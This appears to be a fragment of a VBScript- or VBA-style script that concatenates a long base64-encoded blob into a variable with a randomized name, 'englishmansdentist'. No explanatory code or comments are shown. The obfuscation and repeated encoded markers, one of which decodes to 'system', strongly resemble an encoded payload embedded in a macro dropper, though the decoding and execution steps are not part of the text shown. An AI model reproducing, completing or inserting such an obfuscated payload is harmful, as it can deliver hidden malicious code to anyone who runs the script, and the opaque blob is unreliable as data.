    englishmansdentist+="TUFMN6omS0n7dfkkc8SoLmL9YGfWR1PYee01DTgdQ6WHnga0vYaTnFfuWzmgsDlX" + "\r\n"
    englishmansdentist+="mDz4z5Nz2I5b1lHfWKC3DCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IKqlE83ZpA9UI" + "\r\n"
    englishmansdentist+="Te1MTcD3HmSinU2Nzqa9zZ9+aQ2G1J7T6MSTSX1q7ToS/lr6SIDg5vrwOEPhHoJa" + "\r\n"
    englishmansdentist+="SCnxeTaTpc8JJySk0m4CKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
    englishmansdentist+="UE5UABEATWULbh7ZgLAXW6CjaGE9JQbsGdiFI8Lon8lxUcqyqU2seG6nrOnKf3Kp" + "\r\n"
    englishmansdentist+="eC+eOG79aw8eYqb7IiejTDORgxEe0qgKkJVxbmg+MTJ8qpbxc91IQKF4DEV9ezC0" + "\r\n"
    englishmansdentist+="tSKG13RYzq68jKASDSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IlIDYoOC3u5KQN3sd" + "\r\n"
    englishmansdentist+="AzyZkWKBvNXF5HRuwdRyr2V1z00x4tfrCHnf2q2IzpHIUZs6Btexy1RAUPzFSc6T" + "\r\n"
    englishmansdentist+="KLICWcQHhFN1mkNdKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWVhVO/KqObGW0kkVPV7JYx46MAKMMc+nj2FmBtb2FGAbOYseEJ2szzirRnZ" + "\r\n"
    englishmansdentist+="AYAMAZY7TDCgNI56w0pLwtEJWKgtJKHltjX2fIBiaVjYy/Tq33EENEt/pMqFlNmK" + "\r\n"
    englishmansdentist+="zQT0LoGfVKYvDigAAAAAAAMVAKEAZAEAUFBOVAARAE1IDXR1qz7X1bzuaPCc7Arw" + "\r\n"
    englishmansdentist+="2OcOM9mPCmir7/PpGo7mA/1OfX6luio7Lql3Jd+4hy4+z9q66wukORMdqCJuzAo4" + "\r\n"
    englishmansdentist+="uXHkUXgDMVnyKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
    englishmansdentist+="TWXXt/mEfquSt8Wm0aOAfcHrAe59vN9xZEMYDRbz38LpIodNUS6YtLbIfZFVtxNv" + "\r\n"
    englishmansdentist+="tHM5LBIM8dqQvgnYVq7IvJIT6d1yRQjfFT3TSoOki12jJY1NXCnWC6ueNbYMDtsM" + "\r\n"
    englishmansdentist+="12Vdmw38DygAAAAAAAMVAKEAZAEAUFBOVAARAE1IcXkUKMz9B65cNA/D7cM8qwvP" + "\r\n"
    englishmansdentist+="jZ22oJA33pkyB148NFMlzvnllWvr45zlXGJsj/rzrvz2tcwSqR4/YPQmnANsCRw8" + "\r\n"
    englishmansdentist+="ARyF0LIYKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUR" + "\r\n"
    englishmansdentist+="cNdSTjFTKY9yjzPeEIR3EVxnPue0l6bzJEGzE/o55x7UuTXxuVg3IxXpoYArtcYS" + "\r\n"
    englishmansdentist+="mrITPKUKhPbqweHkP8e62iAi6+y4kdd/zXvbaXs9Vagm5qm5q3S3EwdsIslvD7n9" + "\r\n"
    englishmansdentist+="YROoECgAAAAAAAMVAKEAZAEAUFBOVAARAE1I8k3ph22ZowR5mXsy4hf9WK0o+yjd" + "\r\n"
    englishmansdentist+="7hQ5tfUp2eu2e97hG7GQV26rfLawQTh1idy0igEme5kkeDHDuZfarEQyTcFNp/xQ" + "\r\n"
    englishmansdentist+="V8P5KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVVbcIH" + "\r\n"
    englishmansdentist+="vKxMpeio3ScvMjteOS5CQe028/i/meqmFFwFb64HmwfAp/1SjBl/Zyml516DS3tY" + "\r\n"
    englishmansdentist+="ELxpMzU9CiwFmG0iPznQZzC3iS1g0Mc9wh71FDeU+DQRFSCMnfj08zEk5ZSxTNEl" + "\r\n"
    englishmansdentist+="ESgAAAAAAAMVAKEAZAEAUFBOVAARAE1IWxp17HjV3XLaOb6nDhfgspeCiuKfHgkt" + "\r\n"
    englishmansdentist+="Ryc/mdgQc/1EFiqXC7tSm/mfhpPvX7p4+k4MYQx8CcyozC9IqNbvfY7293R9mRkV" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVPBHiP5o10" + "\r\n"
    englishmansdentist+="8jHO5XPXcR+VVk5YAUaD7vCJHB0XWhOS+68gqp8rQWtX3F1KzCPj3wz55ENs9Xh6" + "\r\n"
    englishmansdentist+="cindtFZTSohBn7IZDxajXKFHXk5tMTxEfOvYXXcrpg7jDKfOV0PwJpRBiaRzEigA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1ILGpzk2E865hyc7EBJXX+XH6Cfe515lyDLEME" + "\r\n"
    englishmansdentist+="cmdxHacazEC/xmoN3n8C73ZGEGqXrg0XAVUTN4o6/iIbiUY1z7eOvHi1ZH8XKAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUV7DaFnwjG9KXJ" + "\r\n"
    englishmansdentist+="f1ZArR9nv2zjm8TniVf6+UrYHK34WhnAHJwhviOFc8fR63Q6wV03XR7G40Kb8RLe" + "\r\n"
    englishmansdentist+="sceH0hgUmZKn8WmleJpQm4qO1Uqu8kEoBjZVRNmcQJwk8TVkYuzP/j+EEygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IujKl2p5pis30dGD8qK02TTDlmZr9EznLBP5F2xgo" + "\r\n"
    englishmansdentist+="uhz93XQp49AkAgVYOJRkWLo3NC0Tduio8JF8Rxcj+rxTRcsxk7fTBQlKKAAAAAAA" + "\r\n"
    englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXknYMciRQC5cggbQfD" + "\r\n"
    englishmansdentist+="VbhI0uQVQyXtrVZctpz8RbdXkRj0bzleW98V/s61ZHySYL3dkWcNbH3Rc5QID7o6" + "\r\n"
    englishmansdentist+="LZOJzBIb4UsxlkaKVtvyJV4ehCMBHJTQqzV9/LxS+NglrKjatoNPFCgAAAAAAAMV" + "\r\n"
    englishmansdentist+="AKEAZAEAUFBOVAARAE1I4hrLxc/TvWH7SJX7yvslOHtDrybOf7MFcfH1Mr6qmAXe" + "\r\n"
    englishmansdentist+="KY+l03UioGdfzkikTGaetp2K4uD4cneAaywtnbsnxybyWb9FZ7HsKAAAAAAALGQA" + "\r\n"
    englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXxPjtVK8OgtPiSafS34qgx" + "\r\n"
    englishmansdentist+="o+pzaUW/6q2/mgW5feUBy08Js9d+P4iv5IdlYoH3YFeiW12AKpmGD9zJ3Pp7M4wK" + "\r\n"
    englishmansdentist+="XWh5TWyhrBE+avX1EPuJXXAn2dVqMYWO3K6PueaWubUijjX7FSgAAAAAAAMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE1IYdSOl/OtAUvbwvv5JUdJkMpwVhRAAjTsEGHQMMU3+O55z5ZX" + "\r\n"
    englishmansdentist+="HVHNvw0beCsBOW6eu1NW0q0CR1zr7gwcoaQ8+HiKDqT01BJ5KAAAAAAALGQAlgAG" + "\r\n"
    englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVs4qU7awN3vlHXxEX6e7GNHJyC" + "\r\n"
    englishmansdentist+="Yy+e4LvDCi4e50XnaW4DFbfzNPpsSAXOKyW7w9Xm1zo8FHoxl25aFqWAO9JEMWY/" + "\r\n"
    englishmansdentist+="eljg8vIG6YKQTJs0Uj8RHSEdE9u8M4vGa3fLvodzAoGgFigAAAAAAAMVAKEAZAEA" + "\r\n"
    englishmansdentist+="UFBOVAARAE1IdKjGY5ie3ce5eSDht78B0z/F+x5yujTmqaL7fKPTJ5RRs0SUtkPA" + "\r\n"
    englishmansdentist+="Z99CEjCUZqFklYEReDUNMtMe50oy1OBdByKsnSm8+/ZSKAAAAAAALGQAlgAGc3lz" + "\r\n"
    englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVeYvGwuo2kJmW1BlAvqXo6BFHIfcI3" + "\r\n"
    englishmansdentist+="P+s9zHCJr/sxs/DSIaC4x5KvG2Er87fGumKuHAP+z+vJhiTQw+Q+dgr8hhdV/Meu" + "\r\n"
    englishmansdentist+="5OlLAjZ40KF76aIJ7B0KHeVdfP0ENr2vAucvMrmWFygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
    englishmansdentist+="VAARAE1Ix+DxAbKhTrcmejaogWfgBSPsZT8dJwQ/LOmFdim23vxCDAFkN9X2Wgmc" + "\r\n"
    englishmansdentist+="RscdC6Kvdov9RPedBIUvd+Pv0r+5jGLcPNTitybIKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
    englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWVuXPOyaFBe2wotUs0xRKVaEa9Z6LfoqGT+" + "\r\n"
    englishmansdentist+="D7lS6+kxPPsTayKDGaIOhRHnhBB7+tnL8Ag7jGBzdJ1kdCyuldqu+CjBEbbVcZY+" + "\r\n"
    englishmansdentist+="eTFVBjdz4Pqj+QgrzkttYaRR8K5sS+VcA/jEGCgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
    englishmansdentist+="AE1IcXcojjG2hHir6e4c4zUgt5RzxMkcoBqCmKwVb7cZ9M1FfJHO/hsgbcGUtPh2" + "\r\n"
    englishmansdentist+="H1MB8gzeykQ2hP5DFC6eUuSCAfPo5QX2BzL+KAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWUwvG6wQ9xa1pzcAX72QS3WqO37kBXnW3xlSLua" + "\r\n"
    englishmansdentist+="C9vDPAZwMEaM+dl+CLz6tQKtmL3uEEUrjrIZpKOtGcrTDNB5f0R7gDcGaIPaAwYN" + "\r\n"
    englishmansdentist+="zGswq2LQOhv61EUp6bhmkJkJOVj3WjLwGSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
    englishmansdentist+="zZR9s9yLu+J1dUzldRVz0jvoSv2Xinm0R0/Ewv5Vn/GJR3otA8EnaLjMIvrIRPSR" + "\r\n"
    englishmansdentist+="2ZSCYSzQiMVrZyPlQGZ8oUbEqU5klraMKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
    englishmansdentist+="AxUAoQBkAQBQUE5UABEATWUBe9y6HVEmXAWBKttdwTwbRt3qO5RC5OeIvUHCSX9A" + "\r\n"
    englishmansdentist+="CliQhEViutj8m2NlNvwXm8+6SJ+A+yZfe4HlV3wWgQNkeyYQ+ql8RA4b80WKDxUe" + "\r\n"
    englishmansdentist+="0VRDpcCh2tXOAgPssmEfqeTIXVaIGigAAAAAAAMVAKEAZAEAUFBOVAARAE1IMSYL" + "\r\n"
    englishmansdentist+="5Kz5vDa0iJrIRnFRStSsoCaK1e7q5Gw+okVgIeFdxzasJUCt2j7FVTNqhdSzD3R3" + "\r\n"
    englishmansdentist+="iEAyL+qCAjp0ol8aRLv6NU76ldlsKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
    englishmansdentist+="oQBkAQBQUE5UABEATWUiqfhIRzFW3eyNhMbu6mbIRvx7/jmV1DH94+OCUdnzHv6X" + "\r\n"
    englishmansdentist+="mRAHMtrvPd9UexDjONpgCkurCEPNdgcsgcHy75BrnH6zXXtMU1vp2NoHvAIsxSxW" + "\r\n"
    englishmansdentist+="Vq+zsGkl0gS1U0/DKh3ozifEGygAAAAAAAMVAKEAZAEAUFBOVAARAE1IJVKV1RJw" + "\r\n"
    englishmansdentist+="dZG8NbdxLZmzAY8x85qTKZZCfkYrP/mGQqMhFGRh8CTlC4B0MREPGOVnkR6ge53a" + "\r\n"
    englishmansdentist+="l2RHcN4oDyqyJUBvZ0Py+F4uKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
    englishmansdentist+="AQBQUE5UABEATWUYvdwcoJXPbFnUjbRp5pxXD0x+dozFmTPyTi0Opn9ye0Ud41bd" + "\r\n"
    englishmansdentist+="ZsNiL8G7daCc63/n3iMRBe93hleYLpbDyx05aJpbyexedWQCVhg/D9c7CoxB1iEr" + "\r\n"
    englishmansdentist+="wTafLkbJ/i99xXuVVTjFHCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IFOEIVmgNeNCl" + "\r\n"
    englishmansdentist+="+aHoXoqIIN7eLMLlVEuv6ro5GX5mYObF1v3dpWOWOYPtndtm3wvLKHgQ/pDH4VUr" + "\r\n"
    englishmansdentist+="Maq0gPicD5+tS3Oa5RnLKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
    englishmansdentist+="UE5UABEATWXtJRxoVmseKTI+CS3oraHoShm3tKM6oGZjYkJR3SeHI0+ba9mGYGWG" + "\r\n"
    englishmansdentist+="WG6e6VMcj6zDLWhLk2MCXvlwonekuV0kP9BHRPn5c3kWy8eb2i+QJ0W2JnGlsEix" + "\r\n"
    englishmansdentist+="d+CXs8xI7vh208yFHSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IW3673hKl2nY1D3Um" + "\r\n"
    englishmansdentist+="noTH5tls12QWSK2X3XSEGNsxiEL6NpvdG82eabrj98HE6oo20+QKuzi42nsK8kk7" + "\r\n"
    englishmansdentist+="eglq59B0WuInoD45KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWVy6LRd2scSrd5wE01n1YCFJ3tSZ4n1y6iAlSWlVgNLagVYOZwphGtp9HEX" + "\r\n"
    englishmansdentist+="8FbJYZ+00JrlZCtshlP8FCPsY71KxnfvcyEODkewTB3H4UGxfti8Bk+OVHdBOxch" + "\r\n"
    englishmansdentist+="oF2yAfKzkzIWHigAAAAAAAMVAKEAZAEAUFBOVAARAE1IWNbT8VpuHT4LdgeYZxBh" + "\r\n"
    englishmansdentist+="e7Sue2bQVTirOm3WQHADQgWS4QXY3FTqBvkpXjPToV+QrfxzTVYwIh1EmHrZRiFG" + "\r\n"
    englishmansdentist+="Cbe1TTXNeU4XKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
    englishmansdentist+="TWUIoSFZQVae+HKJvxGyMpcOYMOAMitVTzLXX78KbWjssaiyHN5yF59oLCQplXve" + "\r\n"
    englishmansdentist+="Neae/ex6tw1V1Sxx3B2drV1kgq+HWtvR0dgkKOKL59GAVTbnMLIxujeWEhCH/e3f" + "\r\n"
    englishmansdentist+="E/xdfAUzHygAAAAAAAMVAKEAZAEAUFBOVAARAE1IkoOGk8t5g2LanutPg6MXpoPe" + "\r\n"
    englishmansdentist+="vlwX3g4Lk6B1lS+AlZJVKvsfxoINWtzsyBMP29/dQ/yaU+cNJGFumM6TEK2ta47R" + "\r\n"
    englishmansdentist+="VVLVM+R3KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUh" + "\r\n"
    englishmansdentist+="Z1ckhMgutaikZPdfT+Xo/nJMnUN4JHdJi55I5AjiiHy/vFK9IwpIl2eZCXzj3FR5" + "\r\n"
    englishmansdentist+="6Q2lMuQ1O0Nvy2MN/j0ddrMKsrcy6H6g5KWKapXyHay7EOVxeYj91qG5UoOok5g1" + "\r\n"
    englishmansdentist+="BTCiICgAAAAAAAMVAKEAZAEAUFBOVAARAE1ImsClB/HC1dB1q32BG65C4blILtkO" + "\r\n"
    englishmansdentist+="SCwGsRXuG4t+EcqzI4JZaqxkchoDOIzmk3Jh7eOcoZeTzbkj3MSS7/VvFnc1K7CL" + "\r\n"
    englishmansdentist+="W3BMKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWX19EoO" + "\r\n"
    englishmansdentist+="4EJddRx1svvKwTX0jSPltItF+rqHXLIYgIYCidRqP599mKF5cJ65VKYP2oHLkpv7" + "\r\n"
    englishmansdentist+="H01NN6mFlF0h9waZpM8NoNZ/zA9LkV7a1cYmdOJei7Ai+99RyiKwFuF9WTN9HxI7" + "\r\n"
    englishmansdentist+="ISgAAAAAAAMVAKEAZAEAUFBOVAARAE1It+VRICsJt4ylPWAn/T/E26pGGxcGMlah" + "\r\n"
    englishmansdentist+="6+m6WKPTEGCKv4XevEFHLA7Fvzx3eMNXfCRL3JM3NygKGs9Oe/M3xWYSrsPRBu5F" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWux2Kjw9Jo" + "\r\n"
    englishmansdentist+="ugKZpUDePm6VrvUtpJcOHfAH3vORZqMFJ8ynR5GMovluSLJNK3XafaLzZ0Y0sDq4" + "\r\n"
    englishmansdentist+="KdI5a1Kb9TvvW9pffp3BLZ0NhEPFDCpRzaBnfx+mFnZ81zYOVrxesIHv13ktIigA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1I65MZPrEnd4qC0T1gHvAdx4HFIcbM97k5Or/t" + "\r\n"
    englishmansdentist+="hMwfVa2R/T4LPr2+NN/892SCC1DidPjppgyhPdyxkeJw0z2WUtV3hIljd9nJKAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVTYKqzhMAxaNPm" + "\r\n"
    englishmansdentist+="coidZUho48XkfJrAxrQj+UEJfIRtmDE33OuMKr+TJk6/mTF6d1G93rSqV0VgvBEI" + "\r\n"
    englishmansdentist+="KZmLIgY590aEdqJg5O8Ocz3RFh9ITk7leMjlaraRWKleHTeOG4RQ1/d+IygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IfI1xTF0lvfZPnCpj0Gu/aNLYFavdcWw10xwKowjE" + "\r\n"
    englishmansdentist+="/ft12h2/D7mDjn8+atiphoDkSUWiwbJ7QU9bHBwEFWfBr5KDhKxDEi/oKAAAAAAA" + "\r\n"
    englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWX0X0ZBYtcZYSRld9sJ" + "\r\n"
    englishmansdentist+="aTegbeZ6W5Si0R56vTO3QJHOIKRc3XetiVPE4fmLRTplECVV4D6m0eQwlIbQltB4" + "\r\n"
    englishmansdentist+="J9kVLp87mmZJXcen0sePziDzogN3ZS44IDswrg8MM4NJLG/WlVMVJCgAAAAAAAMV" + "\r\n"
    englishmansdentist+="AKEAZAEAUFBOVAARAE1Ij0/L30q48pdw1nWmDxvTe1zRv8iWxsxcI/QKoYq3/JpR" + "\r\n"
    englishmansdentist+="XZ9UPYvEgfdMiYO9S1lmAv3sCoxaBhNAsiDh3YL9JgG7QC6gKNe5KAAAAAAALGQA" + "\r\n"
    englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVcx5VZ94asEAozZGCBLMVo" + "\r\n"
    englishmansdentist+="5pCCNROB+vMZO30/PXuy8cYcYQpPWmrXhoQnBBCpA7NVJLFgDEKLkzk0jSN/c7wq" + "\r\n"
    englishmansdentist+="gqQeRPtbGnGui5vuf0qflemLkvNVWiXTL4QPPIQLTaADRWN5JSgAAAAAAAMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE1I4CMpz95vmO62i2T0Lm1tTCdoLc7olgm1CESg5OJkNeyFVOky" + "\r\n"
    englishmansdentist+="ndlZkU7t/ATQ9f2IXBfq6IdZ54JxJ9jJ6/f2nSCboRyaBIEpKAAAAAAALGQAlgAG" + "\r\n"
    englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWV/Bgg3quBbkX4WkshKRohe0MUD" + "\r\n"
    englishmansdentist+="bAp3gFmFrHJcraQb1i1iAU+7aA8Ztxg+YJteJ8jeORQuTeYJtzlAaArQBpeE4qJR" + "\r\n"
    englishmansdentist+="VTFUAZTf3u3qDihqEvuh5rvzzy8TZB17gjHt09vVb0eWJigAAAAAAAMVAKEAZAEA" + "\r\n"
    englishmansdentist+="UFBOVAARAE1IVu6MSHMzjehdtWBILSw/CmVH+o/WDYxqF7QUV99zHq6jFWk7luLu" + "\r\n"
    englishmansdentist+="JmmdgkYiBMpSK+LiHg/hXq77Nv00hmLyfLwhvz8axcuwKAAAAAAALGQAlgAGc3lz" + "\r\n"
    englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWU/Aa6yM2keG/nHu20qep6IfdStePL5" + "\r\n"
    englishmansdentist+="0CRr9xzqb7vH5g+HLfNflrEwr57H/vK25HJlgZTz+QGiGpwOcqK3qWloN2KpQVDa" + "\r\n"
    englishmansdentist+="6aFSnLEY24OvN52rnUAYRkgSaFIjjreCJR82Sj+SJygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
    englishmansdentist+="VAARAE1IVIUZ0At5iMH70mTdQFEPt2+behASSOyc2jtVPbp/aqlh7WxeL3jD0xqj" + "\r\n"
    englishmansdentist+="Ub+K9Z6Cyt/lWALyBYg60Ts7k8cSFBh3Azc9ZEjoKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
    englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWWZ86l636ZlkaD3GXrG4fbQj08B3Lx3iCXB" + "\r\n"
    englishmansdentist+="i96M1o5bZo/TkPTU+OaYCNSKUxwvyL5Dw7cqWWWB8kya7dvL0bF7slQJWxwIDRfI" + "\r\n"
    englishmansdentist+="Zpv73XHZZmFGW3ez7RtkTh4G6xGPYxtqjwEkKCgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
    englishmansdentist+="AE1IlXcvVk6rleEY1PicofTNXD4B4CUKl93CvbPu/rmrTgxHdQRiqaqosvkHXAVf" + "\r\n"
    englishmansdentist+="9te4kga+o2SPHrodr0CxVtGuG1+1sBWXcelmKAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWXePZ8FoH4su3T7Dh/smFFplX6nfpc3zJw1cb0J" + "\r\n"
    englishmansdentist+="fBNbO0UzyM4TvmXSzGGIld5L6rW/oN13gBQxKUdyJKhireS60TREXgz4A7myP1zX" + "\r\n"
    englishmansdentist+="F0lJy1giAnq4rFSaPf44IPxoV7JcDOZxKSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
    englishmansdentist+="iXdyclslE3McO64eQZWgL5VRlBvg8L9np29rP9gQ7I8xgwRFKymmxSDTR2qIE6n8" + "\r\n"
    englishmansdentist+="DE43FjCh5j1n9by6aiH8DlB48sSs7HXyKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
    englishmansdentist+="AxUAoQBkAQBQUE5UABEATWX2yiawYz91H78CaUFF9D4q6D3W0VWiJ/7atF/LlZxG" + "\r\n"
    englishmansdentist+="4SThSEIuQ8aN+s9DmmNaw3p8iSpwD4TYTHOgVnu64khKzOGSrmzQww6uI8Bq/sHY" + "\r\n"
    englishmansdentist+="Rh4kD9EuPvOWWqjFPCL7EqDBn8/SKigAAAAAAAMVAKEAZAEAUFBOVAARAE1IyyYB" + "\r\n"
    englishmansdentist+="MHVvyzuvqklqdGfCcnLLvVF+RovB9aajL3rvtdIf/nNFjjEs4i0ZR5LIrXAdw7Tj" + "\r\n"
    englishmansdentist+="tnX4ZweJKmT5F7bcHGWpf2vj5p2CKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
    englishmansdentist+="oQBkAQBQUE5UABEATWVjmG0oDF8n3jUJd8V/SQVIVVkj1lzazV/A+OuGCiG6e188" + "\r\n"
    englishmansdentist+="v2Te5NsS/ln4Sn7B9Bb9ihRivFHxmYBG6kY2bw1/V6KoRIO3c1WAyE/SAf2wPUyd" + "\r\n"
    englishmansdentist+="2vtNEJ4PFXUXG01x/IOo7f2SKygAAAAAAAMVAKEAZAEAUFBOVAARAE1I4lOyj0P+" + "\r\n"
    englishmansdentist+="wLc+m53ZNP160M8aD0og7G9F18TmwtzM9tuSPkzy9SYKGBNEAk/PmGXRq3ZnImOh" + "\r\n"
    englishmansdentist+="XckHGwbEn3M3dc0D1vRz9ULhKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
    englishmansdentist+="AQBQUE5UABEATWUFoxVDYudxu+87sq/KDbFzsiR/WMqay4B3OtFXuq/wwT1x6KtT" + "\r\n"
    englishmansdentist+="6doRU33lWGs0pdhhmGGSWYoo4B5/pR/0FwIymXGHvDosThs4Xt3Eg5vcVTpCo9Bz" + "\r\n"
    englishmansdentist+="DyRJ73mjn3N3zXSRZNX+LCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IzLbV7aILXut1" + "\r\n"
    englishmansdentist+="XVsPC+UjuGp6By/N0wJurKoOj0wfpzvwKullQrAVCs8Olu9SXKY6rqp2zjhF4GpD" + "\r\n"
    englishmansdentist+="EOhVlna3f6+gbCFyjJChKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
    englishmansdentist+="UE5UABEATWVFz2WxMXzbhuQFiTJciEm+/ozsX+lKpic9xaCOLtpSfrNQCcxtLFgg" + "\r\n"
    englishmansdentist+="znG5JQ1mLNjRjQwNX4IB0fDIN94h6bqzHr4shXxXmspdZ+tCwqpgcNELpIi9CzZt" + "\r\n"
    englishmansdentist+="UmJID5cKGpy019zsLSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IduwJlanjauOmKqaG" + "\r\n"
    englishmansdentist+="QYB9wXLeniwH0FDfipGh38Xcl9Yd7fDT7GrmOIHBpWKF9cBwlPyBhOLhONyZ42xo" + "\r\n"
    englishmansdentist+="1Jo63dZbiCaPB30lKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWXHWu2TNfoHGd9sBjng3k5aDWp/Z4BeEGe7Qe1wJE2wZpLa+PEFpkn+uTxA" + "\r\n"
    englishmansdentist+="UyakSm/QlchdmQXJoYKuKOFbW2x5qEAlndKS7zkzgSUo95NLA4LgGwoT8X9/isUk" + "\r\n"
    englishmansdentist+="7RfSBKR0grv8LigAAAAAAAMVAKEAZAEAUFBOVAARAE1Iq+nFm/tfnE/Nkta6Xcoy" + "\r\n"
    englishmansdentist+="eQkPsr7co7dUXOEy+Aml6sLAWAHId/psp0IS2xFL3LEDv8tP4jB3oB1cPxlNIbvN" + "\r\n"
    englishmansdentist+="42cWQCmogUleKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
    englishmansdentist+="TWUSCrU616wmPaUmoDzYc4iQaiRCPSLYYaEi3IPuPDHL5S75Hzo+zQUQT55j3NvS" + "\r\n"
    englishmansdentist+="90kIU6UyFxmQhJb3PxKIQnn2o+pC3l7jpqZ2QLmi4ddpItccmFqyoSlbmTVBUYn8" + "\r\n"
    englishmansdentist+="tpGzcKi2LygAAAAAAAMVAKEAZAEAUFBOVAARAE1Iu5lScgOdKzA8zzlDq1Piq1Ge" + "\r\n"
    englishmansdentist+="4T4h58s66LbZBLqfUSKLnzQx/M+l9OENrBh6Ua7j80hgik/yfxnxvhvZRxiSP6Gs" + "\r\n"
    englishmansdentist+="X+edeYcnKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWV6" + "\r\n"
    englishmansdentist+="6vNZYf2NjkzaJutqt24JmHuc8goFPPZ+hc3fQMWOvEnLJQKkw3n3qJyoUOInC+h9" + "\r\n"
    englishmansdentist+="TWht2xR2BUjvaa1oZuaBQx06V7eZ2DQG1z3vVbcxZeKocrPEfNzZ0cH1L8OWHwEC" + "\r\n"
    englishmansdentist+="Tx7rMCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IL/h0JgnjJEp/ZijquQSReOgEa8CP" + "\r\n"
    englishmansdentist+="0TCFJRYvjMThmpDH5oBy+SCEKEi5mrWU24u2nuyJvqECrR6LM3lEdlRpZmrwl4bO" + "\r\n"
    englishmansdentist+="63GXKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXCwp/C" + "\r\n"
    englishmansdentist+="sboHrWIMC6nROPSqGLrIC6kzJ88jK7ycJrvf8CcUs934MJjn0LUgG41qcigcDEyN" + "\r\n"
    englishmansdentist+="lRNZfy0wWrM8/rHT0828mPTOtja4zWp07JB52wkJnEUgi3Bk3yRDjgQ4rCtWlQdJ" + "\r\n"
    englishmansdentist+="MSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I3DzItA278OOwq0hRehq7ac5EvsLItLW9" + "\r\n"
    englishmansdentist+="DOaEIlyZRxONGxXE5G0mWj7E/lo3LxX+0uWDIJMXUJmRnM40upKZ2o0ezQ+GX9uS" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWj6qsUKsd1" + "\r\n"
